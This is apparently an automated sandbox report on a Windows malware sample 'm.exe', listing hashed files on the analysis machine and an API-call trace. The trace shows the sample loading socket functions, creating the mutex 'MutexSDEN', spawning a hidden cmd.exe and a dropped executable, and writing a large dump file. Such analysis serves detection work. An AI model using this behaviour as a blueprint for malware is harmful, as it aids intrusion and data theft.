C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties	1.53 KB	MD5: d3ece49676bf1ab85f70b00aad8d17ed SHA1: 3f08f0bbb413c7582f6d2e0f66803d89056d3dfb SHA256: 04ecb6b23033162252c7163376a2237bb5fdd0342de3ab6e82ac0011a1d6cc7d SSDeep: 24:7jEKAHWdjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjijC:7jEfWlNmLaPcuB4i+gNiZvuUbHe2	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc	20.98 KB	MD5: 010acd08973422c44fe06311c81e7300 SHA1: 125aaf004814e1262a38d98024667d8d59923245 SHA256: 4570c8acd873e49a0d8a565b72580c6e45c59303fcc22b260ada8ac7394dee8e SSDeep: 384:O1MJUXslICTMxCamd79Mbh3dLeWqFDW+mCfHu:oDEIColyFDjO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf	80.34 KB	MD5: 94ff89e87eeaf3c26cc29ff4073263b5 SHA1: 599ac25612b5633a6efe77276d03dcfdd1c1f2e5 SHA256: 0c7c88900951fe727378a8ae74547bea59bc010b212f575f65cbeb6e677594d9 SSDeep: 1536:r+mWjOE1ODhueBM6Yvb0OoWj1V7zbPUoOPjp85rFqXpLboVklDNTcdJ//spO:ZKgDhub6YvhoWPTU7l85rFYpLbodJX6	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\COPYRIGHT	4.55 KB	MD5: a2f06051f987d8166c89898dcc16369b SHA1: 76aa0c62da71445bc129cccd5533f479248c1d57 SHA256: 313c36f5e0f753d32e46df9689f366029a7569829ad4aa1c5e07cf79eaf2020e SSDeep: 96:lpQbu4VN9dPTS60m3fJgyJV1YhYMzNVaEYOmL/ufRNumUa:l8N9dO60aRJVnMzNVaEcL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx	69.38 KB	MD5: 289d5adfb22912128e7b59f3a28961c2 SHA1: 7c95787f05b09b5ae6ad017b7f49d96b5751c684 SHA256: 1496d3099d3e0be402f59f0935e90159e40badc9e8056d78eb8dd5935d957bbb SSDeep: 384:vFO+b9PwjIZQJmDvgRCRczUA+d1v682encWFc5HcuDmAUJKgUFO+b9PpCfHu:vE+bBwj8uJupiA8HcamAUAE+bBmO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite	5.00 MB	MD5: 57dc0d53b2c3deb0279e05494680f26e SHA1: 3ebc59b0c4d04e1f8cf5c8a0263e54afe0a57726 SHA256: 07f85ba52c65fefd0b51e6ebc039814ac83c546d812dae37ed400f08991963d0 SSDeep: 3072:aJxzhmWKituSFuAQtiZGudqEDOasFY1rizE:glmUuJAQEZGsRSa4Yn	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\hR6CmyF41D7GurnQ7sOc.xlsx	24.47 KB	MD5: 9de0b9d7b1005aa1b52091790ef0fe48 SHA1: e69498f3e396152597249bd860290506d273332f SHA256: 587e4603cbf882e635c190262f1dabbe7752e6bf1c98bcda88a2e43120b98f49 SSDeep: 768:bry4cnuPoyH40LBiUkgwTAGbEfgAksrq0mT6/oO:brRu0BiUeclgAzq0mT6/oO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\GlzMlE4S.docx	58.97 KB	MD5: 341351055fca3739bd35bffa9366a7cc SHA1: 9e12af1f183c71471dabc0214e86e724d95eef46 SHA256: 7cd85cd1ce2b65711e9fe69d9aa3ecb047460537adc6d8e27060ff24c817f859 SSDeep: 1536:Ljw67HmSq27t0OEUvZ7qWiNYZ/TFJYW73XKiW6i9O:LjTCF2MUvZ+WeYlFuWLXKi7i9	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt	47.81 KB	MD5: c8810ad94b55b7bb3f336ce6bea4981c SHA1: d8e90760d0c86d4e3953400a2f54cdd03421397a SHA256: 84d53da2595c39bc176343a583adac2e3877f415b9a4ba71fd56f489911d7d5a SSDeep: 768:PZf183cCc6nVHMD81jBEnep6XWBzZ4zzYBqMybhwo4DTWmBAQN6mKDejqtsoYHGl:Z18jLVsaFEmuzzYBZp+mBdN6p4quHSEo	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_sv.properties	4.71 KB	MD5: 0d0cd91280d0523a7ddea83d2c3fca92 SHA1: eaaf113a8b8bac0e0cd8f72bcac54313981dcb8a SHA256: 021407ca170392f92a659b378ecb0cfca2646d5eff940624314eaae8a82fd7cc SSDeep: 96:aBv27g4JkRvnrt9EBq/Xsxi1MtW6bn2vMzOz66CmL/ufRNumUa:aBWg42pnrtPvsM16b2EzO26vL2fHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\cmm\sRGB.pf	4.45 KB	MD5: 0fbfb13f6ab54f7389d3563c7c4ea4fd SHA1: 6c4384c8ac76f51b1e4169775d57096891556d72 SHA256: b47fc53d9e8bd87b90c22f33e7fb3972bfa9364c1bb79b5de28309f41cb6e3e5 SSDeep: 96:TH/CD9o4Yn9bXjziQx88Xla2gmL/ufRNumUa:TH6D64Y9bXjziQx/XlnL2fHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar	1.75 KB	MD5: ee387188a2de10d02cadb95ab1f9d767 SHA1: 6c012c6effb58cd0c3b1d3ac88ef3c44ad98eb15 SHA256: 7d1a0677b6d36b4eaff026d61609ab4c862713df0aa7962fca43814e3da963ce SSDeep: 48:HgCmIuHeU/bNmLaPcuB4i+gNiZvuUbHe:HgCmIXemL/ufRNumUa	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyNoDrop32x32.gif	1.53 KB	MD5: d5b2e483bf036bd28c05483c49d18792 SHA1: 546b659eadf71522940b9bb49c43d35a404501bf SHA256: fd1b6a6a9d36977925086e0bd0f51c6273e6ee6f8ec7f36c9584148fa0ba8549 SSDeep: 24:wGiJwlDk0jjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjiq:vk0vNmLaPcuB4i+gNiZvuUbHeq	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt	63.82 KB	MD5: 05f0b23fd2b2839e481bc054d65f1723 SHA1: c914e4e6df867d53582f7cb4ef1f1eabda137f48 SHA256: 9de251ec04f5e1b413b590e15f07440c707dd913e5df1b14644f4eb09c196d4a SSDeep: 1536:KTOjsjLiIddLsn19Zs6CSTmLNvkuiYLZO:puA1P/yZ8xQZ	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties	4.59 KB	MD5: 28cf7f079ffb04d95353f64eedce94db SHA1: 75ca3d87456bcd22ada3d70ff38e38c93a222d95 SHA256: 871c6237591c1acc7b54f58903cd288a3629d9a46baa377c32dae271dea1787c SSDeep: 96:Z1+9Styon3Rt4WJ6moZT+XGQ+E0ndU2Z5n7HK8TmL/ufRNumUaqg:2EDht4WgmW+XGku5n7H+L2fHu	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\browser\features\clicktoplay-rollout@mozilla.org.xpi	7.11 KB	MD5: c4f2a7cdc09d20d9fd02f74b2a68e82a SHA1: f18e67b1db7ca26f236300e30ab7786f140b9c76 SHA256: 453659694af1c47ec84aff3a04bd5856dbbfb95ed603a8c4a7a37019b0a61b6d SSDeep: 192:nyduLscYy/FPVpryumG9UGg5IYAbSNitBrDdeXL2fHu:nyd0scYIVpr3m83gGYiIXCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf	107.60 KB	MD5: ef4fcbbb2b16d170daece5d702b1dbf2 SHA1: 8b0efcaf0d5ba7f7cc19ac46260fa620c6827720 SHA256: f426b6d21ad197200422e31f0ca564fdc3f4d554831b364d0fec5f9d6975639a SSDeep: 1536:r0IfNJRm/lJ8SZyHlZ0ZzQWVAShISqTVjiXPy1c2CVTO:r5f7E/lJ8S8HlM0WViSVR	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf	43.66 KB	MD5: 76ca53412d68178861b1d14b1613de5f SHA1: 0ddc92c8692cd324cc6b2f020a6e65b8fc30aa63 SHA256: 563dd5c2e3227c7359cdb7d488c1fab2baa3cb08274c9246d40a101dd5731878 SSDeep: 768:BaBNCY/Ktzxxu0+0vr8sxloFNqSmwwCDDHzTgNh81BHFsp5q0ayJSgTNO:BmsY6xxK4gC+FN2oHzU0Bo5lxXO	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi	718.03 KB	MD5: 150c7eced41a589c4a976e4ab9411e8e SHA1: c6b7b283a8e052164c81b68e94699c2057ea4bbc SHA256: 1676d512fe0ce8a3bfd19b359d2b135ba1036e03d499e8df062c82bd1882f298 SSDeep: 12288:QuHsffXGM7s2A7cdByJhmcDoYZB+mW5pDaayA1bRmnd2fLWh7uAhVsBFO7cRfcRj:c1bRmALWhlsG7cRfcRc	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\dictionaries\en-US.aff	4.38 KB	MD5: dbad4fbf29d62a9db6ae068c3fec3f38 SHA1: 455f6052f72ffc684ff93baf5cb82eb2b09ab5c0 SHA256: 03a65e5ba1eb153a1844f46f6ffd8473161a2e20b1c36df40c0d51cd3a4ba52e SSDeep: 96:KPY8Olx8DcKWySkwFIW6WJuf2hGmL/ufRNumUa:R3KWylw8OTL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx	1.01 MB	MD5: 04bd4eba108026d5bca1d147ccdadeca SHA1: f3e6fe79866d7d96a9714e2674dea3af5c45d942 SHA256: 0ae9fe2987a2c194d2a08f4062e6ff3d5303b6836d0f7a099dfee4a40038cd2f SSDeep: 1536:dwKDIQgeipfEyhFajGyEuH6eQIjuovTJrEyLpZpVwKDIIO:dZDJghmEYvBv1ACp9ZDv	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts	113.61 KB	MD5: 083931d8da28474347d9ca1b2c9ffd0b SHA1: cd24ed44ef5412d6afac43644ff2f075741f050a SHA256: 3a547e34efe0464f5c58d69eac3740aa0d2326fa4fdf2c0aff924140cbe4128b SSDeep: 1536:+/RJSXTciYLUXlkT1ze0WuQHoeCHtVcwnIhEObD+lyCpjvaoUU5Z0nO:aJSXTuI0Wuybot+wnINbylyCpLm	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar	185.00 KB	MD5: a9c5aee93f6a86a1af439bac334252c9 SHA1: 7cabf304f9c8fadb1522c2adfdaa8dd9bcaeaca7 SHA256: 16eb9d0e459cc8dbbc90007395d2a3fd202611c9c3d92aaa36d9a84b1529eeb7 SSDeep: 3072:d+NlOPCQfPI+aYXcd9q8vLEpzmJIHBH0e8koupc/mFwLehRV2f1cPWZXpU:dgOaQfQ+LcjvLczmyHNN2upc+FWt1CWw	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg	68.97 KB	MD5: 71d6a6efe0ecc384f2a8bde834d0573c SHA1: d758f25d73f8b2c7d236c8b3888611998413ae74 SHA256: 8d6c6a1b3f6520274f1937c584736c582bc8f5c4ab6a4c38e4e1b2bf0c52be93 SSDeep: 1536:L4ORfbOA+kr05HEdH7Cc58pHy5rHynNaHvXa4v3RYmb44444444444444444444F:3BiwTdL7DyNmXBvnX2Wd5twwJU4NM	... File Actions Show Properties Download
C:\Program Files\Mozilla Firefox\crashreporter.exe	188.84 KB	MD5: 6ee4580ee0106b3a5f305260d600e66d SHA1: c919e4f84308d576b428da443f2b2122d5f0d96f SHA256: a400e55c4022482f4e988336bbb098dbb5de2085a21beca42081188457a00994 SSDeep: 3072:Y3KR+EKjQXIQDUY5L8d0PWrjaUJyny0v5JjRW+U6+jPPehiy0ZhuW+jUV:MULDgY5Lq9aUJavk+o28Tuw	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\README.txt	1.43 KB	MD5: 7b77cc75949ae595a69cea37b30ea461 SHA1: cf556fc55167f2df3dd4dcae7b5863ac7fa4fff9 SHA256: c20b5e8fe9bb39db82cbdd12f7577418ae18a0b01a6d9e1fa6a367842124506f SSDeep: 24:3NNjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjit:d1NmLaPcuB4i+gNiZvuUbHet	... File Actions Show Properties Download

Threads

Thread 0xe98

235

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\users\fd1hvy\desktop\m.exe, base_address = 0x400000	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetThreadPreferredUILanguages, address_out = 0x75ea7250	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadPreferredUILanguages, address_out = 0x75ea4f10	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetThreadUILanguage, address_out = 0x75ea7290	1	Fn
System	Get Info	type = Hardware Information	1	Fn
System	Get Info	type = Operating System	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\desktop\m.exe, process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 522	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Load	module_name = kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetNativeSystemInfo, address_out = 0x75ea5130	1	Fn
System	Get Info	type = Hardware Information	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDiskFreeSpaceExW, address_out = 0x75efeea0	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	2	Fn
Module	Get Handle	module_name = c:\windows\syswow64\oleaut32.dll, base_address = 0x75bb0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VariantChangeTypeEx, address_out = 0x75bca610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNeg, address_out = 0x75c152c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNot, address_out = 0x75c16560	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAdd, address_out = 0x75bed610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarSub, address_out = 0x75bee3e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMul, address_out = 0x75bedb10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDiv, address_out = 0x75c15800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarIdiv, address_out = 0x75c161a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMod, address_out = 0x75c16400	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAnd, address_out = 0x75be3200	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarOr, address_out = 0x75c16610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarXor, address_out = 0x75c167b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCmp, address_out = 0x75bd60b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarI4FromStr, address_out = 0x75bd6ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR4FromStr, address_out = 0x75be3010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR8FromStr, address_out = 0x75be3630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDateFromStr, address_out = 0x75bd8b90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCyFromStr, address_out = 0x75bc2d90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBoolFromStr, address_out = 0x75bd48f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromCy, address_out = 0x75bd7f50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromDate, address_out = 0x75bd89c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromBool, address_out = 0x75bd48a0	1	Fn
System	Get Time	type = Performance Ctr, time = 13494153699	1	Fn
System	Get Time	type = Ticks, time = 134906	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:42 (Local Time)	2	Fn
System	Get Time	type = Performance Ctr, time = 13494199517	1	Fn
System	Get Time	type = Ticks, time = 134906	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:42 (Local Time)	2	Fn
Module	Get Handle	module_name = c:\windows\syswow64\ole32.dll, base_address = 0x77920000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoCreateInstanceEx, address_out = 0x75d62d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoInitializeEx, address_out = 0x75d32590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoAddRefServerProcess, address_out = 0x75d5b8b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoReleaseServerProcess, address_out = 0x75d5b350	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoResumeClassObjects, address_out = 0x75d55c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoSuspendClassObjects, address_out = 0x75cbc190	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeConditionVariable, address_out = 0x77c13a00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WakeConditionVariable, address_out = 0x77c88c50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WakeAllConditionVariable, address_out = 0x77c18a90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SleepConditionVariableCS, address_out = 0x7500fca0	1	Fn
Module	Load	module_name = ws2_32.dll, base_address = 0x746a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAIoctl, address_out = 0x746ae800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = __WSAFDIsSet, address_out = 0x746b8fa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = closesocket, address_out = 0x746b0910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ioctlsocket, address_out = 0x746afa10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAGetLastError, address_out = 0x746b8fe0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAStartup, address_out = 0x746a5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSACleanup, address_out = 0x746b7170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = accept, address_out = 0x746de430	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = bind, address_out = 0x746b1cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = connect, address_out = 0x746a5410	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getpeername, address_out = 0x746b43d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getsockname, address_out = 0x746b3750	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getsockopt, address_out = 0x746b3b30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = htonl, address_out = 0x746a49d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = htons, address_out = 0x746b8ff0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = inet_addr, address_out = 0x746b9160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = inet_ntoa, address_out = 0x746b9450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = listen, address_out = 0x746a4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ntohl, address_out = 0x746a49d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ntohs, address_out = 0x746b8ff0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = recv, address_out = 0x746b0c50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = recvfrom, address_out = 0x746ba8b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = select, address_out = 0x746a4ea0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = send, address_out = 0x746a5030	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = sendto, address_out = 0x746a5a20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = setsockopt, address_out = 0x746afd70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = shutdown, address_out = 0x746b38a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = socket, address_out = 0x746b4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostbyaddr, address_out = 0x746d6b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostbyname, address_out = 0x746d6cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getprotobyname, address_out = 0x746d5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getprotobynumber, address_out = 0x746d5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getservbyname, address_out = 0x746d7020	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getservbyport, address_out = 0x746d7210	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostname, address_out = 0x746d6e60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getaddrinfo, address_out = 0x746a5810	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = freeaddrinfo, address_out = 0x746a4fa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getnameinfo, address_out = 0x746b3560	1	Fn
System	Get Time	type = Ticks, time = 134937	1	Fn
System	Get Time	type = Performance Ctr, time = 13497421825	1	Fn
Mutex	Open	mutex_name = MutexSDEN, desired_access = MUTEX_MODIFY_STATE, DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, SYNCHRONIZE	1	Fn
Mutex	Create	mutex_name = MutexSDEN	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 71	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
System	Get Time	type = Ticks, time = 135078	1	Fn
System	Get Time	type = Performance Ctr, time = 13511462545	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cmd.exe, os_pid = 0xe9c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, type = file_attributes	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, os_pid = 0xc58, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_SHOW	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 8	1	Fn Data
System	Get Time	type = Performance Ctr, time = 13993534532	1	Fn
System	Get Time	type = Ticks, time = 139906	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Get Time	type = System Time	1	Fn
User	Get Username	user_name_out = FD1HVy	1	Fn
System	Get Computer Name	result_out = NQDPDE	1	Fn
System	Get Time	type = Performance Ctr, time = 13993763449	1	Fn
System	Get Time	type = Ticks, time = 139906	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
System	Get Time	type = Performance Ctr, time = 13994910104	1	Fn
System	Get Time	type = Ticks, time = 139906	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Sleep	duration = 1 milliseconds (0.001 seconds)	1	Fn
System	Get Time	type = Performance Ctr, time = 14006448985	1	Fn
System	Get Time	type = Ticks, time = 140031	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Get Time	type = System Time	1	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
System	Get Time	type = Performance Ctr, time = 14006863019	1	Fn
System	Get Time	type = Ticks, time = 140031	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Get Time	type = Performance Ctr, time = 14006876580	1	Fn
System	Get Time	type = Ticks, time = 140031	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:47 (Local Time)	2	Fn
System	Get Time	type = System Time	1	Fn
Mutex	Create	-	1	Fn
Mutex	Release	-	3	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 26	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 13	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 18	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\ALL_dmp.fldp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\ALL_dmp.fldp, size = 615180	1	Fn Data
